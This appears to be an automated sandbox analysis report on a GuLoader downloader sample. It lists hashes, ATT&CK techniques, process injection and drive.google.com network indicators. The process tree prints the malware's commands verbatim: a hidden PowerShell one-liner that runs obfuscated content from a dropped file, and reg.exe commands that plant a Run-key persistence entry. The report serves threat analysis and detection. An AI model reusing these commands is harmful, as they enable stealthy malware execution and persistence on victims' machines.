guloader | 5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
29-06-2024 01:21

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General

Target

5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe
Size

655KB
MD5

b1635b455bd73cb6c547728cb1d1fca1
SHA1

5e016cc09d0c5f8429c6955bc3bfd9a07d25741d
SHA256

5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930
SHA512

9829dc60d520c945c1aef68dd6942a1eca4cc0c4fe8dc092e20bdade413ffe412a58e376be446e64cc479cb4e2d872828336fbc8742189d20656900bdcb97795
SSDEEP

6144:z9KOQS4B4GMSGJpFhcbvDIZDAPGQzvOWECsjqfn/HUgcwViw6977fdRw9wQZe:zsB4GOcbrKDgTzvOWlEgcwVh693fdWY

Score

10^/10

guloader downloader execution persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1096 powershell.exe

pid	process
1096	powershell.exe

Loads dropped DLL 4 IoCs

Processes:

5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe

pid	process
1180	5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe
1180	5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe
1180	5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe
1180	5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2812790648-3157963462-487717889-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Flgestningens% -windowstyle minimized $Staturer=(Get-ItemProperty -Path 'HKCU:\\Uigennemsigtigt159\\').Virelai2;%Flgestningens% ($Staturer)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

3 drive.google.com
5 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

836 wab.exe
836 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

1096 powershell.exe
836 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1096 set thread context of 836 1096 powershell.exe wab.exe
Drops file in Windows directory 1 IoCs

Processes:

5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe

description ioc process

File opened for modification C:\Windows\Fonts\anorakkerne.ini 5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

972 reg.exe
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exe

pid process

1096 powershell.exe
1096 powershell.exe
1096 powershell.exe
1096 powershell.exe
1096 powershell.exe
1096 powershell.exe
1096 powershell.exe
1096 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1096 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1096 powershell.exe

flow	ioc
3	drive.google.com
5	drive.google.com

pid	process
836	wab.exe
836	wab.exe

pid	process
1096	powershell.exe
836	wab.exe

description	pid	process	target process
PID 1096 set thread context of 836	1096	powershell.exe	wab.exe

description	ioc	process
File opened for modification	C:\Windows\Fonts\anorakkerne.ini	5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe

pid	process
972	reg.exe

pid	process
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe

pid	process
1096	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1096	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 1180 wrote to memory of 1096	1180	5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe	powershell.exe
PID 1180 wrote to memory of 1096	1180	5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe	powershell.exe
PID 1180 wrote to memory of 1096	1180	5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe	powershell.exe
PID 1180 wrote to memory of 1096	1180	5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe	powershell.exe
PID 1096 wrote to memory of 836	1096	powershell.exe	wab.exe
PID 1096 wrote to memory of 836	1096	powershell.exe	wab.exe
PID 1096 wrote to memory of 836	1096	powershell.exe	wab.exe
PID 1096 wrote to memory of 836	1096	powershell.exe	wab.exe
PID 1096 wrote to memory of 836	1096	powershell.exe	wab.exe
PID 1096 wrote to memory of 836	1096	powershell.exe	wab.exe
PID 836 wrote to memory of 636	836	wab.exe	cmd.exe
PID 836 wrote to memory of 636	836	wab.exe	cmd.exe
PID 836 wrote to memory of 636	836	wab.exe	cmd.exe
PID 836 wrote to memory of 636	836	wab.exe	cmd.exe
PID 636 wrote to memory of 972	636	cmd.exe	reg.exe
PID 636 wrote to memory of 972	636	cmd.exe	reg.exe
PID 636 wrote to memory of 972	636	cmd.exe	reg.exe
PID 636 wrote to memory of 972	636	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe
"C:\Users\Admin\AppData\Local\Temp\5ca9895bde47eec2e17d34d058e32f699ea0501b6964916ddaf490cfda668930.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Skyldraadet48=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Dicaeidae.Gle';$Spaciotemporal=$Skyldraadet48.SubString(71979,3);.$Spaciotemporal($Skyldraadet48)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1096

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:836

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Flgestningens% -windowstyle minimized $Staturer=(Get-ItemProperty -Path 'HKCU:\Uigennemsigtigt159\').Virelai2;%Flgestningens% ($Staturer)"
4⤵
- Suspicious use of WriteProcessMemory
PID:636

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Flgestningens% -windowstyle minimized $Staturer=(Get-ItemProperty -Path 'HKCU:\Uigennemsigtigt159\').Virelai2;%Flgestningens% ($Staturer)"
5⤵
- Adds Run key to start application
- Modifies registry key
PID:972

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads

C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Dicaeidae.Gle
Filesize
70KB

MD5
3cb12e501d2c790546fa8c72d66c2f75

SHA1
b4cefc4cc65317033b389e7c5cad6f049ddd9bc1

SHA256
f4279bda3166ee49b35f96f2a16584496cfdf56812948787b206a99c4438b55f

SHA512
05b150c4ecce9177cbea741ef18327727b5d619d0bd820a70be61045a191494dcf5cf856e3b3a426ed4105e9b4464c24fca2977ba2ff9c44317c879594e9b3d8

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Outtells.Coe
Filesize
340KB

MD5
7464902d05e069110750f0aef5ada538

SHA1
1007755bcc362e3dcf13ce3f33cdb1f53e75cf20

SHA256
c6683aca973aff7026a47c6ad730be8b2c75462cc35aee3f77ba4082f885b583

SHA512
dcaf2716b37728a47f905054f98caf79d90818f695f63a00351d29f6089f0b0bc69d4b887b17a4a771d54b8fda9b46daf6e3c957b89199065ffeeef31687b4a2

Download Submit
C:\Users\Admin\Pictures\slukningen.lnk
Filesize
966B

MD5
050c028fbfa753b88aa0325c7f20937e

SHA1
25dd10031c5368ec56c362c14bcae026eb5db877

SHA256
4f39f1ad6bb30427571c61cd2c33c221646eabe4a4c501d6e39365294eb28bdd

SHA512
e36495fc9f15b9fdd7b2a269ab1720040cd89b028b003caa071c60f2ba88d44467a0c3a974032a7c6cedd1408d6b7af7ce8bc87db241ce78e248617740d42177

Download Submit
\Users\Admin\AppData\Local\Temp\nsyF5D.tmp\AdvSplash.dll
Filesize
6KB

MD5
6def2cf3daf850acdc1a3e7340a439c4

SHA1
95d0d26f60cd5af697502cd5e53a54913ab188fb

SHA256
3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

SHA512
16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

Download Submit
\Users\Admin\AppData\Local\Temp\nsyF5D.tmp\BgImage.dll
Filesize
7KB

MD5
2bb17d45e5ad92053ce1e500408dd8a9

SHA1
f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

SHA256
71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

SHA512
efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

Download Submit
\Users\Admin\AppData\Local\Temp\nsyF5D.tmp\UserInfo.dll
Filesize
4KB

MD5
8ef0e4eb7c89cdd2b552de746f5e2a53

SHA1
820f681e7cec409a02b194a487d1c8af1038acf0

SHA256
41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

SHA512
a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

Download Submit
\Users\Admin\AppData\Local\Temp\nsyF5D.tmp\nsExec.dll
Filesize
6KB

MD5
c129bc26a26be6f5816a03520bb37833

SHA1
18100042155f948301701744b131c516bf26ddb8

SHA256
d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

SHA512
dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

Download Submit
memory/836-219-0x00000000013E0000-0x0000000005EA6000-memory.dmp

Filesize
74.8MB

Download
memory/836-217-0x0000000000370000-0x00000000013D2000-memory.dmp

Filesize
16.4MB

Download
memory/1096-189-0x0000000073FB0000-0x000000007455B000-memory.dmp

Filesize
5.7MB

Download
memory/1096-192-0x0000000073FB0000-0x000000007455B000-memory.dmp

Filesize
5.7MB

Download
memory/1096-188-0x0000000073FB0000-0x000000007455B000-memory.dmp

Filesize
5.7MB

Download
memory/1096-194-0x0000000073FB0000-0x000000007455B000-memory.dmp

Filesize
5.7MB

Download
memory/1096-195-0x00000000067E0000-0x000000000B2A6000-memory.dmp

Filesize
74.8MB

Download
memory/1096-196-0x0000000073FB0000-0x000000007455B000-memory.dmp

Filesize
5.7MB

Download
memory/1096-187-0x0000000073FB0000-0x000000007455B000-memory.dmp

Filesize
5.7MB

Download
memory/1096-186-0x0000000073FB1000-0x0000000073FB2000-memory.dmp

Filesize
4KB

Download